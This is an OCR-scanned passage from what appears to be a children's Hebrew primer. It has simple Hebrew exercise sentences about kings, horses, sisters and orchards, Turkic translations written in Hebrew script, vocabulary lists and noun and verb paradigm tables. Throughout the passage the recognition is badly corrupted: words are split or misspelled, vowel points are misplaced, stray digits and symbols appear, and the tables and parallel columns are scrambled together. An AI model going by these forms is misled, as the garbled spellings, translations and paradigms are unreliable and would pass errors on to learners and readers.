סוּסי זה יקר מאד, בניס בו אטים 35 פהאלי דיר.
אֶלֶה חַמורי , בונלר אשבלרים דיר ,
חמור י אֶלָה ג ילום מָאד ריית כּן אשכירי- הר תפפור דיר
.' -=%- == = -.> =- 5
מז
לרנל \ הילרים 3
אשיטדי מי + רבקה ! סן בנים איי סוולרימי אשיטדיג מי + םן ק) בנים
איי סוזלרימי אשיטדיגיג גיבּי יאזנ'ק כ מיסין + אגר בגא ביר אייי רוא מוקור
איסג עקבה! בן סגא בו בּיוכ כתאבי יאזמאגא יארדים אידר אים , אנאם
אגּר בגא ביר איי רוכא דיכר אוס כו בן או רובאיי יירטמאם
איה דודך , אחותי + -- הוא הקד לכפרו החרש אשר קנה + רת
הלכו לכפריהם החרשים. אחותי הלכה לכפרה החדש אשר ירשה מאבי,
לא ראיתי את הפרות הרלות אשה שחטו דוריף ולא אכלתי מבשרן .
לא ראיתי את החכמים ואת דבריהם הטובים לא שמעתי. לא הלכתי
עם הנשיאים העשירים לכפריהם החרשים . אחיתי. ואמי הלכו לכפר אחי
החדש . האשה הזואת עשירה 5 מאד וכפריה רבים ם. אחותי: בפריך החדשים
מובים וגדולים מאד; אני ישבתי בם . עשירים !היעזרו לכם כסף וזהב
ביום צר + התאסר את הפרה החזקה ח אשר לף בעגלה הכבדה הזאת ?
אחותי ! אני לא אכלתי מפרי תמריך אשר נטעת : שרה ורבקה לא
ה ל מאומה כי עצלות 4% מאד , אתן לא תארגנה לי מאומה כי
עצלות אתן מאד . אחותי לא תאסר את פוסיה החדשים בעגלות המלאות
האלה כי כבדות הן מאד . השפחה הזאת והמינקת ההיא לא תחכמנה ;
לא ראותי סכלות כמוה ן, נהרי ארץ ישראל זכים מאד .
. . והריררר ד'וואי מוחי יי '- סינין בון רף
תלמידלרים ! סיז בר מכתוכררי הצא וורל 5 ל 1
ו =יצן !| -ו
מכתובלרי ְבָאח | מוחורלר איז . כּן בו מכתובי סבאח מוחורלייג'ב אים .
שרה ! סן אקאגא יוללאייגייג מכתופי מוחורלייג'כ מי סין 1 אנאם ! בגא
שלמה ניג בייאו רובאסי גיבי רובא חצאן ריכ;': סין ? = ג'ובא נאסלי
ריכג'ב אים ? סן או. ג'ובאיי. יירטאר סִין.. שרה ורבק ! סיז שלמה ניג
פחאלי ג'ובאלרי גיבי ג'ובאלר טוקוייג'ק מי סיגיז + בּו אגאלריג קאנלריני
(דם ₪8.כים דוכרי+ אנלריג קאניני ופנא וא יארמז מפרלי דוּכרי . שרה
ורבקה: אגר פיז קאפויי באסטירמייג'ק אים:יז יארמולר קאפויי אצארלר וא
אבדן גומוש וא אלטין צאלר לר. פן אקאמא חיזמת אידג'כ אום . ביואללהא
י | י-| וקאכא ה|-\ - + -
חיזמת אידג'כ איז. סן בו עקלרי וא איי פאחשאהא חיזמת אידר מי סין ?
בּן בו אגאיא נאסלי חיזמת אידמייג'כ אים ? או בּנים בכאמא (כבאם איל))
- אייליכ איטדי . בבאמיג וני כויילרי אקאלריניזי; כּויילרינדן איראק
כזי י ָ? ל = שימי: שי וו הלורחרוירחייי : שימדיב 5 איי ןי פחאלי
₪ קיז קרד . -. כולריב א = = א . ו
אמלריג גי בו אראבא גיבי דולו וא אגיר אראכאיא ייכר מייסין + בו אייר
אראכאיא מנכל אשבררימיזי ייכּייכ מי ? בו אגאלר מסר פארשאהינא
יארדים אידר לר מי + קיזקררשים אנאמא כיגון יארדים אירנ'כ מי + שרה
6% לרגל הילדים
בָעְנְלָה הַכְּבָרָה (ְהַנָרוּלָה הָזאת . אראבא 1א ויכמיוג'כ אום .
אַנְחְנו לא עבור אֶת חֶמֶן הַרַשַע. כּיזיארמו המן גא חָיזמת אירמייג'כ איו .
מל יַשְרְאֶל ער אֶת מלְךָ מִצְריֶם ישראל פארשאהי מסר פארשאהינא או
במ זמֶה הַבְּכָרֶה הַהָיא . אגיר ג'נכּ רא יאררים איטרי .
היעזרוּ פָרֶשִי שלמה הגרִים אֶת מל שלמהניג | ג'בְבְּאר | אטלילרי | מסר
/ מִצְרִיִם בַמְלַחְמָה הַכָּכָרָה הַזְאת 1 פארשאהינא בו אניר ג'נכּ רא
יארדים אידג'כ לר מי דיר +
אַחותִי : אָנִ אעזר לך לָאָכל אֶת הֶרְמנִים קיוקררשים ! בן סנא בו נארלרי וימנא
הַאָקה . יארדים אירג'כ אים .
מי יאסר אֶת ממורו בַעְנְלָה הַכְּבָרָה הזת + בו אגיר אראבא נא אשגיני ּים ייכּג'ב דיר .
ֶהב אָרֶץ מַצְריִס טוב . זֶהכָהּ טוב מִזֶהָב אֶרֶץ ישְרָאֶל . זָהָבִי טוב
זְהַב דוי . זהָבָנוּ טוב כְִהַבְכֶם. מִי לְקח אֶת זהַבְךָּ הטוב מִי אָבַל אֶת
.7-- +.
רמנ רִבְקָה הביס : מִי אָפַר בְּעָגְלֶה אֶת חַמורִי ודי עַצְלִים + מי יָאָסר
בַעָנְלָה כְּבְרָה אֶת פוּסִיו הַטובִים וְהַקְרִים + מ בד אֶת פִָּירִי הַנְשִיא
הַרְשָעִים מִי ילס הַלִילָה חַלוּם טוב ז שק ודוד יתַלמו חָלוּם טוב . שר
ְרִבְקה! אַתָן לא מִחָלְמְנָה חלום טוב . אַנִי רְִיתִי אֶת אֶרֶץ מַצַרִיָם את
א ישַרְאל; הן טובות מָאד; בָּחן בָּל עץ פרי וכל הין יקר, נִַרִיהן גדולים
ורְחָבִים מָאר. הָאֶלְחִים יעב אֶת השעי את הַטובִים לא. עי= . הַכָמָה
ּבְרְכָה מַאָלְהִים סקן. מִי יקכר אֶת חַלְלִי הַנְשיאִים אַשֶר הרג הָאִיש הַרְשָע
הַהוּא + אָנְחנוּ נקבר אֶת חקית - שרה ורבקה \ מִשְלִיכֶן אָשר כְּתַבְתָן
מוכים מָאד ; > אָנִי שמעתי את 1 מִשַליבן הטובים . הִיכלִי הַנְשִיאִים ם הָאֶלָה
ָחָרְבוּכִּי אִין כ אִיש. מתי יְחַכָמו הכסילים הָאֶלֶה + מתי תתמ תל מִירִי
בו יילאן פנא דיר. בּבאמיג יילאני בחצא דא אידי . בּו בחצאייג
יילא נלרי אי דגיל. אידי . אקאמיג נמסיללרי אוו אידי. סנו 0
רבקה ניג תמסיללרינדן פנא דיר.סניג שק תמסיליג בנים תמסילימרן דאטלי
דיר . אניג + תמסילי סיזיג + תמסיללריגיודן פנא דגיל אידי . ביזים
תמסיללרימיז סיזיג נמסיליורן איי דגיל אידי . ביזים תמסילימיז אנלריג
ונק תמסילינדן סיילי דיר סיזיג לי המסיליגיז אנלריג: <ק+ תמסיללרינדן
איי דיר. אנלריג )+ תמסיללרי דאטלי וא איי אידי . בו עקלליייהודי ניג
תמסילי סניג + תמסיק3 גיבי. אוזון דגיל אידי. ו תמסיללרי
אניל עקי: תמסילי קדר סיילי וא איי דגיל אידי . בנים תמסיללרים אנלריג
זכרו תמסילינדן וא סיזיג עק) תמסיללריגיז דן סיילי דיר. בּן סיזל אוכסכ
חורמא. דירכלריגיזיג מייבאסינדן יימרים . שרה בנים איי תמפיללרימי
לרגל הילרים
מ לא אבר אֶת הְאִיש הֶרְשָע הַזֶה .
משָה הֶסְרָש עשֶה אֶת שָלֶחן דודיעל .
אה לא הָלכַ לְאָרֶץ מצְרִם וְֶת נְהרִיה
הַנְדוְלים וְהֶרְחָבִים לא רְאִיס .
אמָּה לא ראית אֶת נְשיא יְרוּשָלֶם הֶחְכֶם
ְאֶת דּבריו חַטוּבִים לא שָמַעַס .
אֶחוִּי! הַחְאסְרִי. את סופיף הֶעצלִים
נה הַכְּבָדָה ואת !
ָָאַרְנִי לי בג כְּנֶר רבקה הַלְבֶן !
אַמִיוטְחוִי נְטְעו ִּמְרִים כַבִּים. וסמריהן
גּבְהים מִתָּמְרִי שלמה.
גי רְאִיסִי היום אֶת תִלֶלי הנשיאים אֶשֶר
הָרג עָבָד הַמלְכָּה הֶרְשַע.
הַרְאי אֶת חַלְלִיהֶם ז
הָאֶלחִים מקור חָכְמָה וּמעין בְרָכָה.
הַיתְרְבוּ ענ ירוּשָלם הדולי ז
ַנִי שָחִטי של אֶ הַפְרֶה הַשַַנֶהאָשָר
לְאָבִי, וּבְשָרָה הָיָה תוק מִבְּשֶענֶל.
בנ מה החָלום הזה אָשָר חַלְמְתּ ?
מה הַחלוּם אֶשָר חלמו שְרְה ורְבְקה ?
אַנְחְנוּ נַחָלם הַלילֶה חֶלום טוב .
אף אחותי , חִחַלְמִי הַלִילֶה מָלוּם רע .
שָרָה וְרִבְקֶה! מָה מּאְֶנָה לי אם אֶכָת-
לב את שירִי הור הטוכים ?
התעזרנה לי לְאָכל אֶת רמוני דְוָד הָטוּבִים?
לא אאסר אֶת סוסי הטוכִים והחרוצים
1
בו יארמז ארמא חיזמת אירמיוג'כ אים .
משה אוסטא אקאמיג טוגריפ טראפיווני
יאפרי .
סן מסר טופראגינא וארמרין וא אניג ביוכ
וא כניש אוזנלריני גורמדין .
סן ירושלם ניג עקללי אנאסיני גורמדיג
וא אניג איי סוולריני אשיטמרין .
קיוקררשים ! טנפל אטלריני בּו אניר
אראבא יא ייכּג'כ מיסין 1
נא רבקהייג בייאז רובאסי ניבּי רובא
טוקייג'ק מי סין ?
אנאם וא קיזקררשים צוק כורמא דירכּלרי
ריכרילר , וא אנלריג חורמא דירכלרי
שלמהיינ חורמא דירפּלרינרן אוכסכ דיר.
בן בוגון מליכהיינ יארמו קולו אולרוררוני
אגאלריג לשלריני גורדים .
סן אנלריג לשלריני גורריג מו ?
אללה עקל צוקראני . וא בּרכּת צשמאסי
דור .
ורושלם ניג בו צשמאלרי קורור מי ?
בן רון בבאמיג אולאן סמיז אינגי בּוגאזלרים,
וא אניג אָטי מוזאב אטינדן ראטלי אירי.
אונלום ! בו גורדוגוג דוש נא ריר (נא
אולמאלי) ?
שרה ורבקה גוררוכלרי דוש נא אולמאלו ?
ביו בונג'א אוידוש גורג'כ איז .
סן, קווקררשים ! בוגג'א פנא דוש נורג'כ
סין .
שרה ורבקה ! בגא נא דוקור פיניו אנר
סיזא רודיג איי טורכולריני יאזך איסם ?
בנא רָוָרִיג = איי נארלריני יימנא יאררים
אירר מיסיניו ?
כן אוו וא זייורכ אטלרימי בו אגיר וא ביוכ
00
לדגל
עמר : חורהו :
| 6
נו.
1
3
(=4.)
(נקבה)
תעמר
תעמדי
אָעָמר | אעמר
חק , קוותלי אולדו ,
(זכר) (נקבה)
יָחְזק תָּחוק
בו תק | תְחוּקי
אֶחק = | אֶחוק
חָלם (עת' יַחָלָם) דוש גורדי
עָבַר (עת' תעבר) נַצָדִי .
חרב (עת' יִחְרֶב) קורודי:
ויראן אלו .
חכם (עת' יִחְכָּם יחִכְּמוּ)
עקללי אולרי + =
ארג (עתי יאָרג מּאַרְגִי)
טוקודי . |
-0 את פל' (עת' ועברד)
קוללוק איטדי, היזמת
איטדי .
בְּשר השור הוֶה שמן | מ
ער (עת' יעזר
יעזֶרוּ , יעזרו) את פלר
עזֶב (עת' יעזב) בוראקדי . = ת
הילדים
יעמך , הרור. דורג'ק .
(זכר) (נקבה)
ַעִמְדוּ | תִעַמדֶנָה
תִעְמְדוּ | העַמדְנָה
נעמדר | געמר
₪5
יחק , קוותלי אולור ,
(זבר) ונקבה
₪ ן יחו = |( הַהַַה
5 תְחוק | תֶּחוקְנָה
חקו | \ חן
ר זי (צ) כורמא חורמא
,"עור , דירני.,
מָשָל זי (ד) תמסיל,
2
-
לפלוני , יארדים איטדיי. | עמור ז' (צ) דירפ (טאש
אסר (עת' יאָסר , יָאָסר, דירפ) .
אַסְרו) בּאג 0 ,ייכדי | חלום , 1 דוש.
(אראבא).
חְכָמָה , נ', אֶּס, עקל.
מעין ד, ח) צשבא. | בֶּרְבָה , נ'.. אלגיש. בְּרְבָת.
כְּפַָר , ז' (ז) פיי . עַנְלָה , נ'. אראבא . אָסַר
בִּשֶר , ד (ד) צט. מַן: בַעָנְלָה, אראבא:א יידי .
=
1
רוי
ב
אֶשָר שָחט דורי - -
למ אַמִי לא הָאָפר אֶת סוס בַּעַנְלָה ?+
- העבָרו א נחר י מִצְרִים הַרְחְבִים /
מע אֶת מַשָלִי שלמה הטובים .
א חותו תי הלכה לכפְרָהּ 1 הקל
מְצּרִים .
ג
המכפבים ?
שן שר בְּטָרֶץ
האר בְּנְלֶה אֶת הפוסים אַשָר לרדורִיג
מס ערו לי מלמיריף לבתב אֶת
בו אוגוזיג אָטִי רון אקאם סוירוני אונוזיג
אַטינרן סמיו דיר .
אנאם ניצון ַטיני אראבא יא ייכּמיינ'כ ?
מסרי כּניש אוונלריני חצאן גצג'כ סיניז ?
שלמרייג איי תמסיללריני אשיטטין מי?
קיוקררשים מסר טופראגינראכו. כּיציכּ
כווינא ניטרי .
אקאלריניג אטלריני אראבא וא ייכּנ'כּ מי
סין 4
תלמירלריג בּנא מכתובּלרי יאזמאנא
חצאן יאררום אוררלר ?
לרגל הילדים
%ב | שם יהיר
נפוד | | חֶלֶל, | ליש
נסמך | | חָלַל השיא
לי | | לי
חלְלך
יו
1%
הלל = | חַקְלהּ
לו
חללְכָן
ש
וו
₪
7744
ה .
ב 0
| ל = | מקלן
ץג | שם יחיד
נפרר נָהֶר , אוזן
נסמך | | גהֶר מִצְרַיֶם ,
ו
6%
ְהָרְו
מ נְהָרְנו
טְ
2 || נְהַרְכֶם \ ;| נָהַרְבֶן
5
| לנקבה
לזכר | | לנקבה
שם רבים
חללִים .
תל ַא .
--
לזכר
חִלְלִי
חל
ְלְלִי
חלְלִינו
חַלְלִיבֶם
חַלְלִיהֶם
ב
שם ' רבים
ְָרִים
נהָרי מִצְריִם
לזכר
ְהָרִי
יה
בי
רינו
נְהָרִיכָס
נְהַרִיהָס
| לנקבה
2
לי
ִלְלִיהָ
חַלְלִינו
ַלְליכֶן
חלליקָן
לרגל הילרים
כְשִיאִי המָלֶךָ עשירִים , פאדשאהיג אגאלרי זנגין דיר,
נְשיאִי המל הָעשִירִים חִכָמִים פארשאהיג זנגין |
אנאלרי עקללי דיר . ,
ב המלף הגדוּל חִכֶם מאר . בּיוכ פארשא זיג
אוגלו פּכּ עקללי דיר ,
בּן המל הדל חכֶם מָאר , | פאדשאהיג בִּיוכ
אוגלו פּכ עקללי דיר .
|
ץא | שם יהיר | שם רבים
נפרר דבר : סוז דברים .
נסמף דב הַמָלֶךּ : דַּבָרִי הפֶלְך :
לזכר | לנקבה | לוכר | לנקבה
דברי הבר דברי :
דד | דכ || דְבֶרֶך
שש 66
כו = | ּבַהָה = | דמְר
דבְרְנוּ | | דבב = | דִבַרִנוּ
ב
רְכֶס | | דְברכן = | דִבְרִיכַם
6
דר | דּבָרֶן דּבְריהֶם
לרגל הילרים זפ
| דגיל אידי . זירא גוכול אוזרינדא ביוכ בולוט לר ואר אידי. בו אינכלר
| אריק וא ייגיל דיר זירא אנלר חסטא דיר . בּן אנלר גיבי ייגיל וא אריק
אינפּלר גורמדים. קיזקררשים! סן אנאם דן זיידא חקלי (דוגרו) אולור מי
סין + שרה : סניג שרעתלריג אללהיג שרעתלרינדן דוגרו אולגק מי + סניג
פיצאגיג (זכר) בנים פיצאגימדן כסכין דיר, שלמה ומשה ו סיזיג פיצאקלריגיז
בּיזים פיצאקלרימיודן כסכין דגיל אידי . קיוקררשים וא קיזים בגא ביר
דילבר גיובא דיכגשלר . קיזקרדשים וא קיזים : בגא איסטדיגים גיבּי ביר
איי דילבר ג'ובא חצאן דיכר סוגיז 1 בו אגאלר פכ זנגין דיר וא אנלריג
אָטלרי פב פנא דיר. אנלר הר דורלו קינגיר ליק איטדילר, שרה ורבקה !
סיז דוגרו סיגיז וא חיץ ביר קינגירליק אידמז סיגיז . אגרילרים סניג
אגרילריגדן פנא דיר .
6 9
דור מל ,| הור פאדשאח ריר.
דוד המַלְך היה גכ , פאדשאה דוד ג'בּבּאר אירי.
שלמה חכם , שלמה עקללי דיר .
שלמה הֶחָכֶם מַלףּ על ירוּשָלֶ , עקללי שלמה
ירושלם אוזרינא פאדשאה ליק איטדי .
הָמַן רשע , המן יארמז דיר .
הֶמץ הרְשע מַת על עץ , יארמז המן אגאץ וראר אגאין)
אוזרינדא אולרי.
דורי ישר , אקאם דוגרו דיר .
דורי הִישַר לא עשת כָּל עול , דוגרו אקאם
חיץ ביר קינגירליק איטמרי.
אחי גדל , קררשים ביוכ. דיר .
אחי הַגְדול נְתן לי סָפַר וקר , ביוכ קררשים
בגא ביר פחהאלי כּתאב ויררי .
אַחוְחִי חִכָמַה , קיזקרדשים עקללי דיר .
אחותי החָכָמָה מִפְרָה לי מַעִיללֶבן , עקללי קיוקררשים
בגא בייאז ג'ובא דיכדי .
פּקירִי הַמֶלֶך חַכָמִים , פארשאהיג וכיללרי עקללי דִיר.
פָּקִידִי המלך הַחְכָמִים ישָרִים , פארשאהיג עקללי
וכיללרי דוגרו דיר.
וחלק ראשון) 8
66 לרגל הילרים
למה קרעתם את מעיליכם 1 אחותי !למה קרעת את מעילך . הגפן הזאת
יפה והנפן ההיא רעה . אחותי !הגפן אשר נטעת את רעה מאר .. היין
והחלב אשר בגביעי קרים מאד . פקידי המלף ישרים וברים . סוי המלך
קלים מאד . אחי ודודי ישרים : הם זכים וברים ככוכבי השמים . לא ראיתי
גפן רעה כגפן אשר נטעתם . הנפן אשר נטע דודי רעה כמוה .
בּנים רובאלרים (מַלְבּוּש) פאדשאהיג אטלילריני: רובאלרינדן פחאלי
דיר. קיז קרדשים!סן אנלר גּיבּי דילבר רובּאקר דיכא ביליר מי סין + אנאם!
סן דוגרו סין וא חיץ ביר קיננירליק איטמז סין . אפנדילרים !סיז דוגרוסיז
וא חיץ ביר קינגירליק אידמזסיז . קיזים !נא וקתא קדר סן גנדיגא (סגא)
רוא דיכּמגא נלְתְפר) קדיר אולמז סין + בבאמיג סמיז אונוזי וא קוותלי
אינגי ואר. ירושלם דן דישרידא אוטוראן כּפסיזלר דון צוק אידי; בן אנלר
גיבי אריק כפסיזלר גורמדים . בו גגיא גוכי יילדיזלרי אכ וא פארלק
אידילר . בו מסרלי דאיא וא בו מואבלי חלאייק דוגרו. וא פּאכ דיר. .
דון שחר דן דישרייא גירן אגאלרי גוררוג מי + אנלר גיבי זנגין אגאלר
גורדוגמי ז בּו דאר נ'ובאלרי נא איצון ניידיגיז בנדא קוסורליק ואר מי?
ביזדא צוק קוסורליק ואר דיר , סיזדאבי קנה קוסורליקלר אנדאכי
נקבה) קוסורליקלרדן פנא מי דיר + סנדאכי נקגה. קוסורליקלר אנדאכי
נקבה) קוסורליקלררן צוק וא ביוכ דיר . |
הפרות אשר קנה דוד היום דלות ורעות מאד . לא ראיתי פרות
דלות ורעות כמוהן . לא ראיתי תלמידים רעים ועצלים כמוכם . משפטי
האלהים ישרים , ומי כמהו יצדק ! אתם תוכלו לכתב את כל המבתבים
שר אמר אבי ואנחנו לא נוכל לכתב כמוכם. למלך הגדול הזה סוסים
ופרשים רבים . פרשי המלך הזה יפים מפרשי המל ההוא . פוסי המלף
ופרשיו קלים מפוסי המלכה ופרשיה . אדוני: פרשיכם רעים מאד . בגן
אבי יש מקור מים . פרד אחי עצל מחמור דודי ; לא ראיתי פרר עצל
כמהו. את מלכה חכמה מאד ופרשיך גבּורים מפרשי מלך מצרים .
הלךּ הפרות הדלות האלה + דודי: הלכם הפוסים היפים האלה + שרה
ורבקה : הלכן הגנים הטובים והרחבים האלה + הלו הלחם המר הזה ?
הלאחותך הרמון האדם הזה + למי המעיל היפה הזה + הלהם הבית
הגבוה : ההוא. ז :
בנים ג'יזלרים. סניג עקנה) גציזלריגדן . ייגיל דיר . קיזקררשימיג
נארלרי וא אלמאלרי סניג נארלריג וא אלמאלריג גיב אגו וא פנא דגיל
אידי, בו גג'א וא בו גון כגאית סובוק דיר . בו גג'א גוג יילדיולרי אכ
לרגל הולרים 55
שלמה : מומי רַבִּים ממוּמִיף . אַחותִי ו מוּמִי בְִּּי ַבִּים וְרָעִים ממוּמיך .
הַתּבות הָאֶלָה רָעת מְחַתָבות אָשָר עשָה הָחָרֶש הוה . הגנְדָּלִים האלה
צרים מַהמִנדְלִים אָשָר בִּירוּשְלֶם . הַפּרּת אֶשָר שְחְטוּ היום פְּקידִי אָבִ
דלות מְהַפָרות אָשָר בַּבַּיֶת . אֶחוְתִי + רמוניך מָרִים מָאד . תָּפוּחַי מָרִים
ָּמהֶם . אֶחִי וְאַחתִי : מוּמיכֶס רַבִּים וּרָעִים מָאד .ד הֶרָעִים מוּמִיכֶם
מִמּמִינוּ + אָין בי כֶּל מום .א שרה וְרְבְקה יָפוּת מא וְכָל מוּס אִין בָּהָן .
אַנחנוּ יפִים מאד וְכָל מוּם אין בָּנוּ . אִין אֶשָה יָפָה כַּאַחותִי ; כָּל מוּם אין
בּה. אֶחתִי : את יפה וָכָל מום אין בְּךָ. אַמִי ְהַתוּכְלִי תפר לי בְְְָּפָה
ְּבָָד בּן דרי + הַתוּכל הַשְפַהֶה הזאת לתפר לָף לבוש יָפָה כּלְבוּש בָּנִ ז
הִיאשַצָלָה מָאד ולא תוּכל לְתפר כָּל בּגָד. אֶלהים ימַשָפטיף צַרְקוּ מָאד .
אֶלהִים + משפטִיך לְמִלְּ תן . הַנְטעַתֶם אֶת הגְפֶן כַּאָשָר אָמְרָה. אִמִי ז
הְיִפַעַל אֶלְחִים כָּל עול ז
= = בו תלמידלר גיבּי פנא וא טנבּל תלמידלר גורדו3 מי + ירושלם ניג
בורג'ילריחברון ניג בורגילרינדן דאר דגיל אידי. קיז קרדשים ! סן אקאמיג
תלמידלריני בילירמיטין? (בילדיגמיו) אנלר גיבי אוקוייא בילירמיסין. !
קיזים ! סן אקאמי קיזיני וא בו זנגין אדמיג קיזיני בילדיגמי+ אנלר גיבי
דילבר. גשובאלר דיכא בילירמי סין קיזים ! סן דיכדיגיג ג'ובאלר בגאית
דאר אידי; בּן אנלר גּיבּי דאר ג'ובּאלר גורמדים. אנלר גִּיבּי דאר גיובאלרי
כּים גייא ביליר + (ללבש), כימיג שרעתלרי אללהיג: שרעתלרינדן דוגרו
אולדו + אינסאן שרעתלרי אללהיג שרעתלרינרן דוגרו אולורלר מי ז
בו אדם חיץ ביר אָגרילִיּ אידמדי וא אנדא חיץ ביר פנא קוסורליק יוק
דיר . בן אניג קוסורליקלריני גורמדים . בּו פנא חלאייק הר דורלו
אַגריליגי אימדי. וא אניג קוסורליקלרי צוק וא פנא דיר. או בגאית כּפסיז
וא אניג אגרילרי גיבי פנא אגרילר יוק דיר . או אזזניג באליקלרי פּכ אריק
דיר . בן אניג באליקלרי גיבּי אריק באליקלר גורמדים .
למלך הזה גבורים ופרשים רבים מאד . הרבים גבורי המלכה הזאת
ופרשיה מנבורי מלך מצרים ופרשיו + היכל המלך לא היה גבוה מהיכל
דודגו . הגבוהים היכלי המלכה הזאת מהיכלי מלך ירושלם + אדוני !
הקרובים היכליף להיכלי המלך + אדוני ! הרחוקים היכליבם | מהיבלי
המלכה + אדוני !היכליכם יפים מאד . לא ראיתי היכלים יפים כמוהם .
הנשיאים האלה יפים ועשירים מאד . להם ההיכלים הגבוהים האלה .
היוכלו הפקידים לספר את כל הכסף אשר בתבות האלה + התוכלנה שרה
ורבקה לספר את כל הרמונים אשר בתבות חרבות האלה ? בני ואחי !
4
לירִירְיָ יסוס וּפָרַר ושור נַחָמור.
אָמִי וְאַחוְתִי טובות וַחִכְמוּת מָאר .
לי הַּם מַכְאּב קשָה וְחָלִי רע .
אַחוּתִי נְטְעה היוס רְמון וָאָגוּד .
הַלָבֶם הַפָּרוּת הַדִּלוּת הְאְלֶה 1
לא לְנוּהַפְּרוּת הַבָּלּת ההן.
האלחים לא פָעַל בָּל עול , וּמַשָפֶטי
ישרים .
שָרָה וְרִבְקָה! שִין בכ כָּל מוס רע .
-
חי ! לף מוּמים רבים וְרָעִים .
הַמִלְכָּה נְטָעה גנִים רַבִּים וטוּכִים ,
מִי נְטַע את 2 הנבהה וְהַטוּבָה אָשֶר
בּנן דורי
אמ ! אף טע ג רָבִים .
הרעה הפ אָשָר נטעו חנ
ַבּרֶק חץ הָאָלחים .
למִי הסְבְּנִים החדים הְאֶלֶה 1
שָרָה (רבקה ! איף תכלה לָאָכל אֶת
האָגוזִים המָרִים האלה 1
שלמה וִרִידה עשירִים בַּמנו.
ְדִידיָה וּמשֶה ! מי וכל לספר את כָּל
המוּמִים הָרְעִים אֶשַר בָּם ד
מש \ בְנִי לא הָיָה עִצַל כ .
משָה וִרִִרְיָה ! דוי לא הַיוּ עצלים
כְּמוּכֶם .
אֶחותָי ובשי ! שָרָה וְרְבְקה לא היו
עצלות בְּמוּכן .
לרגל הילדים
ידיריה ניג אטי וא קאטורי וא אומוזי וא
אשני ואר .
אנאם וא קיוקררשים ב:אית איי וא עקללו
דיר .
בנים בונון ביר קאטי אגרים וא פטא
כפסיןלינים ואר
קיזקרדשים בוגון נאר (רירני) וא נויז
(דירגי) דיכּרי .
כּו אריק אונכלר סיוין מי דיר 1
או אריק. אונכלר ביזים דניל דיר .
\ אללה. חיץ קעגורליק אידמז וא אנינ
שרעתלרי רונרו דיר .
שרה ורבקה ! סיזרא חיץ ביר פנא קוסור-
לוק יוק דור .
קררשים ! סניג צוק וא פנא קוסורליקלרינ
ואר .
מליכה צוק וא אוי בחצאלר דיכרי .
אגאמיג בחצאסינראכי אוכסכ וא אוי בא5
בוטוגיני כּים דירי ?
אנאם ! סן צוק בחצאלר דיכדין .
קרדשים וא אונלום דיכּדיני בא כּוטוני
פנא מי דיר ?
יילדורים אללהין אונו דיר .
בו כַּסְכין פיצאקלר כימינ דיר +
שרה ורבקה ! בו אנו ג'וויולרי נאסלי ייא
בי לג'כּסיניו .
שלמה ויריריה בּיזים בי זנגין דיר לר .
ידיריה ומשה ! סיו רא אולאן ג'ומלא פנא
וסורליקלרי כּים סאיא ביליר .
2% וגלום סניג ניבּי טנבל דניל אידי .
משה וידיריה ! אקאלרים סוזי גיבִי טנכל
דגיל אורי .
קיזקרדרשים וא קיזים ! שרה ורבקה סיזינ
ניבי טנבל דניל אידי לר .
לרגל הילרים
קרע , כעת' וקרע) יירְטרי .
תפר , (עת' ותפר) דיכדי,
צַדַק , (עתי יצרק) דוגרו
אולדי , סאדיק אולדי.
אוטורגיזדי (דירבּ) .
חר , כסבין .
חץ ,1, אוק.
לְמִי בְַּת גול וּבָנָד יָקר 1
לְמִי הבית הגדול וְהבְּגֶר היקר +
למל הַיכָל נָרול ונל נָבּ .
ל היל וְַפְּדָל .
מלְכָּה הנַנִים. תְאָלַח . הוא נְטְעָה בָּם
ָפָּן טוּבָה ות טוב .
,
ל
ָוֶד ומִשֶה! חֶלְכֶס הַפפֶר הטוב הוה +
משָה ! לף החץ הְאֶרף מה .
ְּוֶר ! הלף החץ החר הוה !
אַחותִי ! ל הִבְּגָר הַצאֶה הזה .
שָרָח | הָלֶף הבגר קיקר הזה !
ִריריָה וּמשֶה חִכָמִים כַּשלמח וְרוּרִי חִכֶם
ָּמּהֶם .
הְבְסְבָה הזאת הָיָה בּנָד אמ ?
בְּנד אמ לא הָיָה בָּהּ .
אַחוְתִי ! התוכְלִי תפר כָּל בְּנֶד כְּאָמִי
אָנו לא אוּכָל לְתָפר כָּל בַּנָד כָּמּהָ .
מַשָפְּטִי הְאֶלהִים צַרְקו
אין בֶּס כָּל על .
ו , פאב . פארלק .
ב , פאכ, טטיז, גונאחסיז,
מום , (1) קוסורליק ,
ית , ז', זייתון דירגי . זייתון .
נתַן נ'. בג כּוטוני: כוטוכ .
1
וכל , קדיר אולדו .
* אוּכל , קדיר אולור אים .
. תוכל / תוכלי, קדיר אולור
סין,
על , (עתי ופַּעַל) איטדי . נוקסאנליק , עייפליק. - * וּכָל, תוכל, קדיר אולור .
אישלרי . עול , ז'. קינגירליק . * וכל , קדיר אולור איז .
נטָע , הידי (דירפ) ' יארמזליק . * תוּכְלוּ , הוּכַלְנָה , קדיר
אולור סיניז .
* ווְּלוּ , תוכלה , קדיר
אולור לר.
כימיג ביוכ אביוא פחאלי רובאסי ואר ?
ביוכ אב וא פחאלי רוא כּימין דיר ?
פארשאהי: ביופ סראיי וא אוכּסכ בורג'י
ואר .
סראיי וא בורג' פארשאהינ ריר .
בו בחצא לר מליכהייג דיר . או אנלררא
ביר איי כוטוכ וא ביר איי זייתון דירגי
דידי .
רור ומשה ! בּו איי תאב סיויג מי דיר?
משה ! בו אוזון אוק סניג דיר .
דוד ! בו כּסכין אוק סניג מי דור 1
קיו קררשים ! כו כּירלי רופא סנו דיר .
שרה ! בו פחאלי רופא סניג מי דיר ?
ורודיה ומשה שלמה קדר עקללי דיר ,
וא אקאם אנלר קדר עקללי דיר .
אנאמיג רובאסי בו סאנרוק רא מי אירי ?
אנאמינ רובאסי אנדא רגיל אירי .
קיזקרדשים ! סן אנאם גיבּי הר רורלו
רובא ריכּא ביליר מי סין ?
כן אניג גיבּי הר דורלו רובא ריפא בילמם.
אללחי שרעתלרי דוגרו אולדילר (רוגרו
ריר לר) וא אנלר רא חיץ קיננירליק יוק
רוף /
ור
עג'
לרגל הילרים
בּי, בֶּי, בנרא בניפאילן ; | בֶּךָ , בּךָ, סמדא . פניג אילן; בו , בָּהּ,
אנדא , גנדינדא . אניג אילן , ננדי אילן 3 בָנוּ , בנו , ביזרא, ביזים איקן ,
בָּכֶם , בַּכָן , סיזדא, סיזיג אילץ + בָּם או בָּהָם, בְּן או בְּהַן , אנלררא ;
גנדילרינרא. אנלר אילן . ננדילרי אילן .-
לִי, לי , בנא , בּנים איצון + לך , לך, סא. סניג איצון + ל1, לָהּ,
אנא , ננדינא אניג איצון . ננדי איצון + לְנןּ , לנו , ביזא. ביזים איצון !
